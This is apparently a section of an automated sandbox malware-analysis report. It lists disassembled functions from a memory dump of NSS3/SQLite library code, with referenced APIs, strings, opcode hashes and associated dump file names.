Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 8977b50aa568d1fa0ad10fd39b28afafc996185fb5de0168ca252f7ddeba26d5
Instruction ID: 1764383a84e021ea97059b910fa9b5f51331b41bb6248383943734eddc63ed3c
Opcode Fuzzy Hash: 8977b50aa568d1fa0ad10fd39b28afafc996185fb5de0168ca252f7ddeba26d5
Instruction Fuzzy Hash: 2902F071A062618FDB04CF19C56836ABBB3EF52344F99C26EC8915FB92CB31D916C790

Function 6C5DEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C5DF95C, 6C5DF9BF, 6C5DFA5E, 6C5DFA8B
%s %T already exists, xrefs: 6C5DFAC8
view, xrefs: 6C5DF061, 6C5DF071, 6C5DFAB7
sqlite_master, xrefs: 6C5DF0AB, 6C5DF2DA, 6C5DF757, 6C5DF93E
temporary table name must be unqualified, xrefs: 6C5DF734
there is already an index named %s, xrefs: 6C5DF9D7
sqlite_temp_master, xrefs: 6C5DF0A6, 6C5DF2D5
not authorized, xrefs: 6C5DF957, 6C5DF9BA
table, xrefs: 6C5DF05C, 6C5DFABC, 6C5DFAC7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: ff6f060c85e3fb870006395b3e3c68a32d46b089753ff6a87010f8501da0cc79
Instruction ID: 11ae1f2a9a0a692614403b1913c837346b16f4914003f7cffc480186944299f6
Opcode Fuzzy Hash: ff6f060c85e3fb870006395b3e3c68a32d46b089753ff6a87010f8501da0cc79
Instruction Fuzzy Hash: 0F728F70E04305CFDB14CF68C884BA9BBF1BF89308F1682A9D8159BB52D775E846CB94

Function 6C6F9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5CC52B), ref: 6C6F9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6FA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FA01F, 6C6FA0E4, 6C6FA0FE
%s at line %d of [%.10s], xrefs: 6C6FA02E, 6C6FA10D
database corruption, xrefs: 6C6FA029, 6C6FA108

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 291ab48fb986b0c8aa7948adf4ee3337a1fa608e2a3a2b07426a2cf89d97deb0
Instruction ID: fc23ae8b6a6868fe7a98c8e3e8a961d05d8456860a3b4896e573eb00e6b245f1
Opcode Fuzzy Hash: 291ab48fb986b0c8aa7948adf4ee3337a1fa608e2a3a2b07426a2cf89d97deb0
Instruction Fuzzy Hash: B422C17160C7418FC704CF29C49066AB7E2BFCA348F148A2DE9EA97752D731D846CB56

Function 6C719D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5D8637,?,?), ref: 6C719E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5D8637), ref: 6C719ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C719EC0
%s at line %d of [%.10s], xrefs: 6C719ECF
database corruption, xrefs: 6C719ECA

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d6ad77a1e45278a44fcbe9e500802a043618ba2bb29545793ac6020e6114e287
Instruction ID: 51fc034e91bdf282d8434ee750fd20f4c2f6476ba5fbf2f8bff65c2a7bbc93cf
Opcode Fuzzy Hash: d6ad77a1e45278a44fcbe9e500802a043618ba2bb29545793ac6020e6114e287
Instruction Fuzzy Hash: CB81B671B052159FCB04CF69CA84ADEB3F6EF58304B188579E815ABB41E730ED46CB50

Function 6C727F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7281BC

Strings

BINARY, xrefs: 6C728126
out of memory, xrefs: 6C72835B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: e965ab0eaf4f6a365703081438a646d460c95364d5bbdba6841bb183b0d827da
Instruction ID: 63e16b1680d3a592b06f20c993c86d10f2a91249ed5659fbddcf99d6696181f1
Opcode Fuzzy Hash: e965ab0eaf4f6a365703081438a646d460c95364d5bbdba6841bb183b0d827da
Instruction Fuzzy Hash: 1B52C272E05218DFDB14CF99C980BADBBB2FF48318F14816ED815AB751D739A846CB80

Function 6C6A9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6A9ED6

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6A9EE4

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A9F38

Part of subcall function 6C6AD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6A9F0B), ref: 6C6AD03B
Part of subcall function 6C6AD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6AD04E
Part of subcall function 6C6AD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6AD07B
Part of subcall function 6C6AD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6AD08E
Part of subcall function 6C6AD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6A9F59

Part of subcall function 6C6A9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6A9C5B), ref: 6C6A9D82
Part of subcall function 6C6A9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6A9C5B), ref: 6C6A9DA9
Part of subcall function 6C6A9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6A9C5B), ref: 6C6A9DCE
Part of subcall function 6C6A9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6A9C5B), ref: 6C6A9E43

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: f1aabd2d51ee46f265afbbecda0f7e575b247ee63904d37a778b4752be6a2c85
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 34112BB5F042015BF7009AE59C00B9B7794AF9A34CF240135E91A8BB40FB72ED5AC29D

Function 6C75CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75D086
PR_Malloc.NSS3(00000001), ref: 6C75D0B9
PR_Free.NSS3(?), ref: 6C75D138

Strings

>, xrefs: 6C75CF5B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 154ef9eb86cd4c7fb332ac2d35f451568b2b387a7f5359694ccf0c7225c5ae50
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: A9D18D22B416464BFB14487D8FA13EA779387663B4FD84339D1218BBE5EE19C863C345

Function 6C5DAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C5DAE18
0ul, xrefs: 6C5DACC0, 6C5DAD22, 6C5DAD5E, 6C5DAE45
winUnlockReadLock, xrefs: 6C5DAE9F
Pul, xrefs: 6C5DADDB, 6C5DADF5, 6C5DAE6A
pul, xrefs: 6C5DADA7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: 0ul$Pul$pul$winUnlock$winUnlockReadLock
API String ID: 0-1334777326
Opcode ID: 31a1d124aa12f4f1211b9dbe4695b0150225d8d84fe10baf038dd00d5cd25c05
Instruction ID: 41db14accfa4d076d6294110c06deed0e6c5880fe88e3181bd84ff25d0b0bd33
Opcode Fuzzy Hash: 31a1d124aa12f4f1211b9dbe4695b0150225d8d84fe10baf038dd00d5cd25c05
Instruction Fuzzy Hash: BA71A2716083049FDB04CF29E884AABBBF5FF89314F15CA28F95997211D730A986CBD1

Function 6C6FAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d31e19e0dc53ec2c1030c39c625c5bbf5219ffe5d0255a2729bbebce8c3119ee
Instruction ID: b39378a63a3b1dc45a01f1e14ade6d4fd95fa1acfad0a93f1b0c487d99e8b4d1
Opcode Fuzzy Hash: d31e19e0dc53ec2c1030c39c625c5bbf5219ffe5d0255a2729bbebce8c3119ee
Instruction Fuzzy Hash: 39F1BC71F0121A8BEB04CF68D9407AE77F2BB8A308F258239D915D7B54EB749952CBC4

Function 6C6EDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5C5001,?,00000003,00000000), ref: 6C6EDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5C5001,?), ref: 6C6EE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5C5001,?), ref: 6C6EE2DA

Strings

W, xrefs: 6C6EE111

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: a483392aec5b4c32b4bb67665a833da464d108c159a095e63c98b8a47604d04f
Instruction ID: 765685090421d6f13b18be371dced2792d1e22d47eaab215ca75df686c59465e
Opcode Fuzzy Hash: a483392aec5b4c32b4bb67665a833da464d108c159a095e63c98b8a47604d04f
Instruction Fuzzy Hash: 45C12931B0E6558FDB04CE6584807EA77B2BF8E308F28816BDD689BB41D7319905CBD4

Function 6C6B0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6B1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6B1086

Strings

h(kl, xrefs: 6C6B1062, 6C6B105D, 6C6B0F37, 6C6B1081, 6C6B1082
h(kl, xrefs: 6C6B0E55, 6C6B0EC4, 6C6B0F3A, 6C6B0FA7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(kl$h(kl
API String ID: 1297977491-3810936736
Opcode ID: 14cab9ae6ea9fa6c5f7b6ad6fc8ddc5096aa70c859aac1340d4e2109dd1807a4
Instruction ID: 284c9cb2296010198357759461c09c7c66e8f2fc1a44f0e55898945d802025ad
Opcode Fuzzy Hash: 14cab9ae6ea9fa6c5f7b6ad6fc8ddc5096aa70c859aac1340d4e2109dd1807a4
Instruction Fuzzy Hash: 86A14F71B0124A9FDF08CF99C994AEEBBB6BF88314B148129E905B7700DB35EC11CB94

Function 6C5D4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0ul, xrefs: 6C5D4EDE, 6C5D4F82
winUnlockReadLock, xrefs: 6C5D5125
Pul, xrefs: 6C5D5019, 6C5D50FA, 6C5D5157, 6C5D51DE, 6C5D51F2, 6C5D520D, 6C5D5220, 6C5D52A2, 6C5D52B5
pul, xrefs: 6C5D4E1C, 6C5D4E81, 6C5D4FDE, 6C5D5047, 6C5D50BB, 6C5D51A3, 6C5D526C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: 0ul$Pul$pul$winUnlockReadLock
API String ID: 0-533126634
Opcode ID: 0933de4f7c1bc2d97daa8bbf51b37e3e0a3b3d6f3fcdad4782e9f1fcf14923da
Instruction ID: 219aee44dffbcb5bb3777124421872ea8a82f049bf4f6565c5710f91f633da62
Opcode Fuzzy Hash: 0933de4f7c1bc2d97daa8bbf51b37e3e0a3b3d6f3fcdad4782e9f1fcf14923da
Instruction Fuzzy Hash: 5BE12F70A08345DFDB04DF29D88865ABBF0FF89304F519A2DF88997351DB30A985CB86

Function 6C5D6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C5D7049
*?[, xrefs: 6C5D7034, 6C5D7052, 6C5D7070
unordered*, xrefs: 6C5D702B
noskipscan*, xrefs: 6C5D7067

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 25dc11c59db6c4b4ab0c821e7ae6c64f0fb267c197b80161defc268d3d3861ba
Instruction ID: e0da5831e9df9d30200ed74eb61f63c6a61acf2c551ffba33cc06a871144d1b1
Opcode Fuzzy Hash: 25dc11c59db6c4b4ab0c821e7ae6c64f0fb267c197b80161defc268d3d3861ba
Instruction Fuzzy Hash: 44716D32F003124BDB14CA6DCC8079E77929B81354F260739CD55ABBC9EA71BC468BDA

Function 6C5F3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C5F463F
sqlite_, xrefs: 6C5F3FAA, 6C5F4185
sqlite_temp_master, xrefs: 6C5F460F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 44fa1522dc73fe1094a879baa0a8041afd67e10488be06ae9f1ffd1ac4d13766
Instruction ID: 22b885cddbc52062859da93f43804b733baf45e05ddcf856461a6f6e3d32f68c
Opcode Fuzzy Hash: 44fa1522dc73fe1094a879baa0a8041afd67e10488be06ae9f1ffd1ac4d13766
Instruction Fuzzy Hash: F5224C316491954FE70DCB298EA09BB7BF29F46318B688998C9F15FB42C725E843CF50

Function 6C72BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C72C0B6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 8246cc21910abc8c012e6420503a607ae26a419fbe6ad71afe4482a444f4d4f8
Instruction ID: f56338ccdbae84cff2c29b808b956d83ed1b76cc6374ec1dd0d972a9974686d6
Opcode Fuzzy Hash: 8246cc21910abc8c012e6420503a607ae26a419fbe6ad71afe4482a444f4d4f8
Instruction Fuzzy Hash: 0D926E74E002498FEB15DF54C990BAEB7B2FF98309F284168D815ABB91D739EC46CB50

Function 6C5C3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5C3EA9

Strings

0, xrefs: 6C5C3DAB

